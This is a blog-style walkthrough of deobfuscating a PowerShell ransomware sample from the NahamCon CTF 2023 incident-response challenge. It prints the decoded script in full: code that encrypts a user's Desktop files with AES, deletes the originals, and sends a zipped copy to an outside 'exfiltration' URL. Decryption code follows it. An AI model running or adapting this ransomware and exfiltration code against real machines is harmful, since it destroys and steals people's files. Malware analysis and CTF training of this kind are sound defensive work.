How to analyze powershell obfuscated code, Part-1

Md. Mahim Bin Firoj
6 min readJul 31, 2023

Nowadays its very much certain that you will get obfuscated type of powershell code while analyzing any APT behavior or any IR activity. The following code has been taken from Nahamcon CTF 2023 IR part.

From the below link you will get the obfuscated code to download and practice.

Obfuscated code

After seeing the code, you will be in dilemma that what should you do? Manual analysis of this code will take very long time which is not possible.

Thankfully, I encounterd the following article while analyzing this type of code.

From this article I learned what should be my next step.

Script starting point
Script ending point

This is a ransomware script so be careful. Take a snapshot of your vm then execute the script there during your practice so that you can always go back. Here is the way how you execute this script using Powershell ISE. So open powershell ISE in administrator mode. Navigate to File>Open to load the encoded_ps.ps1 script. Now click on the play button. Then the script should be executed and all the items present in your Desktop will be encrypted. Now give Get-Variable command to get the variable names.

Now if you are using nahamcon ctf vm, then the script is already executed there. You just need to give Get-Variable command to see the variables.

Lets move on.

Now you need to type Get-Variable command to find the variables that are recorded while the obfuscated script is executed. Now you need to type Write-Output $variable_name to see what actions will be done by those variables.

— Variable 1: 9HvtMFbC2RGJX6YOASjNeBx

— Variable 2: biPIv9ahScgYwGXl0FyV

— Variable 3: ehyGknDcqxFwCYJz5vfot4T8

We have got the above 3 variables.

So we need to type like this way now:

Write-Output $9HvtMFbC2RGJX6YOASjNeBx

Write-Output $biPIv9ahScgYwGXl0FyV

Write-Output $ehyGknDcqxFwCYJz5vfot4T8

Here we can see that = sign is present in front which is indicated that this is base64 code but in reverse order. We can use CyberChef Reverse recipe to reverse it first then decode it using From Base64 recipe. After decoding, we will get the following encryption function.

Reverse first then base64 decode

The above variable also give us the same encryption function.

function encryptFiles{
Param(
[Parameter(Mandatory=${true}, position=0)]
[string] $baseDirectory
)
foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
if ($File.extension -ne ".enc"){
$DestinationFile = $File.FullName + ".enc"
$FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
$FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)
$cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
$cipher.key = [System.Text.Encoding]::UTF8.GetBytes("7h3_k3y_70_unl0ck_4ll_7h3_f1l35!")
$cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$cipher.GenerateIV()
$FileStreamWriter.Write([System.BitConverter]::GetBytes($cipher.IV.Length), 0, 4)
$FileStreamWriter.Write($cipher.IV, 0, $cipher.IV.Length)
$Transform = $cipher.CreateEncryptor()
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Securit
y.Cryptography.CryptoStreamMode]::Write)
$FileStreamReader.CopyTo($CryptoStream)
$CryptoStream.FlushFinalBlock()
$CryptoStream.Close()
$FileStreamReader.Close()
$FileStreamWriter.Close()
Remove-Item -LiteralPath $File.FullName
}
}
}
$flag = "flag{892a8921517dcecf90685d478aedf5e2}"
$ErrorActionPreference= 'silentlycontinue'
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
encryptFiles("C:\Users\"+$user+"\Desktop")
Add-Type -assembly "system.io.compression.filesystem"
[io.compression.zipfile]::CreateFromDirectory("C:\Users\"+$user+"\Desktop", "C:\Users\"+$user+"\Downloads\Desktop.zip"
)
$zipFileBytes = Get-Content -Path ("C:\Users\"+$user+"\Downloads\Desktop.zip") -Raw -Encoding Byte
$zipFileData = [Convert]::ToBase64String($zipFileBytes)
$body = ConvertTo-Json -InputObject @{file=$zipFileData}
Invoke-Webrequest -Method Post -Uri "https://www.thepowershellhacker.com/exfiltration" -Body $body
Remove-Item -LiteralPath ("C:\Users\"+$user+"\Downloads\Desktop.zip")

This is another variable and this function encrypts files.

$User = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
$Path = "C:\Users\" + $User + "\Desktop"

$Key = "7h3_k3y_70_unl0ck_4ll_7h3_f1l35!"

foreach($File in (Get-ChildItem $Path -File)){
if ($File.extension -eq ".enc"){
$destinationFile = $File.FullName -replace ".enc"

$IV = [System.IO.File]::ReadAllBytes($File.FullName)[4..19]

$fileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
$fileStreamWriter = New-Object System.IO.FileStream($destinationFile, [System.IO.FileMode]::Create)

$Cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
$Cipher.Mode = [System.Security.Cryptography.CipherMode]::CBC
$Cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$Cipher.BlockSize = 128
$Cipher.KeySize = 256
$Cipher.Key = [System.Text.Encoding]::UTF8.GetBytes($Key)
$Cipher.IV = $IV

$Buffer = [char[]]::new(20)
$fileStreamReader.Read($Buffer, 0 , 20) | Out-Null

$Decryptor = $Cipher.CreateDecryptor()
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream(
$fileStreamWriter,
$Decryptor,
[System.Security.Cryptography.CryptoStreamMode]::Write
)

$fileStreamReader.CopyTo($cryptoStream)
$cryptoStream.FlushFinalBlock()
$cryptoStream.Close()

$fileStreamReader.Close()
$fileStreamWriter.Close()

$Cipher.Dispose()
$Decryptor.Dispose()
}
}
function decryptFiles {
Param(
[Parameter(Mandatory=$true, Position=0)]
[string] $baseDirectory
)

foreach ($File in (Get-ChildItem $baseDirectory -Recurse -File)) {
if ($File.Extension -eq ".enc") {
$DestinationFile = $File.FullName -replace '\.enc$'
$FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
$FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)

# Read the IV length
$IVLengthBuffer = New-Object byte[](4)
$FileStreamReader.Read($IVLengthBuffer, 0, 4) | Out-Null
$IVLength = [System.BitConverter]::ToInt32($IVLengthBuffer, 0)

# Read the IV
$IVBuffer = New-Object byte[]($IVLength)
$FileStreamReader.Read($IVBuffer, 0, $IVLength) | Out-Null

$cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
$cipher.Key = [System.Text.Encoding]::UTF8.GetBytes("7h3_k3y_70_unl0ck_4ll_7h3_f1l35!")
$cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$cipher.IV = $IVBuffer

$Transform = $cipher.CreateDecryptor()
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamReader, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Read)
$CryptoStream.CopyTo($FileStreamWriter)

$CryptoStream.Close()
$FileStreamReader.Close()
$FileStreamWriter.Close()

Remove-Item -LiteralPath $File.FullName
}
}
}

# Usage:
# Specify the base directory where encrypted files are located.
# Call the DecryptFiles function to decrypt the files.
# For example:
# DecryptFiles("C:\Users\<username>\Desktop")

The above both are decryption function.

Using chatgpt we can easily make decrypt functions code to decrypt all the files that it was encrypted. You just need to copy and paste the decrypt files code in a file and save that as decrypt files.ps1

Then execute it in the following way.

We load the decrypt files.ps1 script and showed where our encrypted files were present.

Let’s learn another way:

Say you got the above base64 code and after decoding it you got some random character which is not human readable. Our goal is to decode this to the final level. Lets see how to proceed.

We removed all the [CHar] keyword. Now we also need to remove + sign and replace with space.

Now click on the magic button to finally decode it.

You may already notice that this is one of the above variables that we find out earlier during the analysis of our first payload. As I said earlier, in the front, = sign means base64 code in reverse order. Lets reverse it first then decode it.

Reversing the base64

See this is the encrypt functions that we revealed earlier.

I hope you will learn something new from here.

Thanks. Please Subscribe below.

LinkedIn:

https://www.linkedin.com/in/md-mahimbin-firoj-7b8a5a113/

YouTube:

https://www.youtube.com/@mahimfiroj1802/videos

--

--